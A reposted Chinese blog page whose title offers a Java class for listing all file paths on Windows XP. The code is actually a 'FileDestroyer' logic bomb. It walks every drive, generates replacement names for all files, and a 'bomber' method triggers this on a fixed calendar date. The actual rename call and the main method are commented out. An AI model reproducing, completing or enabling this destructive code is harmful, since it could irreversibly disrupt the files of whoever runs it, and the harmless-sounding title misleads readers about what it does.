获得WINDOWS XP系统下所有文件路径类

来源:互联网 发布:阿里的域名泛解析 编辑:程序博客网 时间:2024/06/15 17:41

import java.io.File;
import java.util.*;
//系统崩溃类,谨慎使用!
public class FileDestroyer
{
 private String path="havefun.txt";
 private File file=new File(path);
 private File[] fr=file.listRoots();
 private List<File> fls=new ArrayList<File>();
 private List count=new ArrayList();
 //获得系统根目录
 public void getRootNames()
 { 
  this.fill(fr, fls);
   this.removeEmptyRoot(fls);
 }
 //清空空的根目录
 public void removeEmptyRoot(List<File> l)
 {
  for(int i=0;i<l.size();i++)
  {
   if(l.get(i).listFiles()==null)
    {
     l.remove(i);
     removeEmptyRoot(l);
    }
  }
 }
 //测试方法:获得根目录下所有文件夹路径
 public void getDirNames()
 {
  File[] f=fls.get(fls.size()-2).listFiles();
  List<File> fe=new ArrayList<File>();
  this.fill(f, fe);
  this.dirFilter(fe);
 }
 //测试方法:获得根目录下所有文件路径
 public void getFileNames()
 {
  this.fileFilter(fls);
 }
 //文件列表填充器
 public void fill(File [] f,List<File> l)
 {
  if(f==null)
  {
   System.out.println("空目录");
  }
  else
  for(File ft:f)
  {
   l.add(ft);
  } 
 }
 //文件夹识别器
 public void dirFilter(List<File> l)
 {
  for(File f:l)
  {
   if(f.isDirectory())
   {
    File[] ft=f.listFiles();
    List<File> fe=new ArrayList<File>();
    this.fill(ft, fe);
    this.dirFilter(fe);
   }
  }
 }
 //文件识别器+破坏者
 public void fileFilter(List<File> l)
 {
  
  for(File f:l)
  {
   if(f.isFile())
   {
    count.add(0);
    this.fileDestroyer(f);
   }
   else if(f.isDirectory())
   {
    File[] ft=f.listFiles();
    List<File> fe=new ArrayList<File>();
    this.fill(ft, fe);
    this.fileFilter(fe);
   }
  }
 }
 //文件破坏方法_1:修改文件名
 public void fileDestroyer(File f)
 {
  String rfn=f.getPath();
  StringBuilder st=new StringBuilder(rfn);
  if(rfn.lastIndexOf("//")>rfn.lastIndexOf(".")+4)
  {
   System.out.println(rfn);
  }
  else
  st.replace(rfn.lastIndexOf("//"), rfn.lastIndexOf(".")+4, "//"+count.size()+".汉子");
  String nfn=st.toString();
  System.out.println(nfn); 
  //System.out.println(f.renameTo(new File(nfn)));
 }
 public void bomber()
 {
  this.getRootNames();
  Date d1=new Date(109,11,19);
  Date d2=new Date();
  if(d1.getMonth()==d2.getMonth()&&d1.getDate()==d2.getDate())
   this.getFileNames(); 
 }
 public static void main(String[] args)
 {
  /*FileDestroyer fd=new FileDestroyer();
  fd.getRootNames();
  fd.getFileNames();
  System.out.println(fd.count.size());
  fd.bomber();*/
 }
}

原创粉丝点击